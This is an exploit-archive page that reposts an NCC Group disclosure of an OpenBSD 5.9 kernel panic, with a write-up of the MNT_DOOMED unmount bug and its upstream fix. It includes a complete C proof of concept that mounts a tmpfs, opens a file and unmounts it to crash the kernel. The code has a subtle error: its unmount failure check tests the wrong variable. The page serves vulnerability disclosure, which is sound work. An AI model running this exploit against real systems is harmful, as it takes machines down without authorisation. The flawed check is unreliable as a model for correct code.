首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenBSD 5.9 kernel panic through the unmount system call Exploit
来源:vfocus.net 作者:vfocus 发布时间:2016-07-18  
/*
* unmount_panic.c
* Demonstrate a panic through the unmount system call.
*
* gcc -g unmount_panic.c -o unmount_panic
*/
  
#ifdef BUG_WRITEUP //---------------------------------------------------
Unmounting with MNT_DOOMED flag can lead to a kernel panic
  
Impact:
Root users or users on systems with kern.usermount set to true can
trigger a kernel panic when unmounting a filesystem.
  
Description:
When the unmount system call is called with the MNT_DOOMED flag
set, it does not sync vnodes. This can lead to a condition where
there is still a vnode on the mnt_vnodelist, which triggers a
panic in dounmount().
  
if (!LIST_EMPTY(&mp->mnt_vnodelist))
panic("unmount: dangling vnode");
  
This condition can only be triggered by users who are allowed
to unmount a filesystem. Normally this is the root user, but
if the kern.usernmount sysctl variable has been set to true,
any user could trigger this panic.
  
Reproduction:
Run the attached unmount_panic.c program. It will mount a new
tmpfs on /mnt, open a file on it, and then unmount /mnt with
the MNT_DOOMED flag. This will lead to a panic of "unmount: dangling vnode".
NCC Group was able to reproduce this issue on OpenBSD 5.9 release
running amd64.
  
Recommendation:
TBD
[OpenBSD developers decided to reject all flags other than MNT_FORCE].
  
Reported: 2016-07-12
Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/vfs_syscalls.c.diff?r1=1.261&r2=1.262
  
#endif // BUG_WRITEUP ---------------------------------------------------
  
  
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/param.h>
#include <sys/mount.h>
  
void xperror(int cond, char *msg)
{
if(cond) {
perror(msg);
exit(1);
}
}
  
int main(int argc, char **argv)
{
struct tmpfs_args args = { TMPFS_ARGS_VERSION, 0, 0, 0, 0, 0 };
int x, fd;
  
x = mount("tmpfs", "/mnt", 0, &args);
xperror(x == -1, "mount");
  
fd = open("/mnt/somefile", O_RDWR | O_CREAT, 0666);
xperror(fd == -1, "/mnt/somefile");
  
x = unmount("/mnt", MNT_DOOMED);
xperror(fd == -1, "unmount");
  
printf("no crash!\n");
return 0;
}
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenBSD 5.9 kernel panic in UF
·OpenBSD 5.9 kernel panic throu
·OpenBSD 5.9 kernel panic in tm
·Axis Communications MPQT/PACS
·OpenBSD 5.9 kernel panic throu
·OpenSSHD <= 7.2p2 - User Enume
·OpenBSD 5.9 kernel panic throu
·vBulletin 5.x/4.x - Persistent
·OpenBSD 5.9 kernel panic throu
·vBulletin 4.x - SQLi in breadc
·OpenBSD 5.9 kernel panic throu
·DropBearSSHD <= 2015.71 - Comm
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved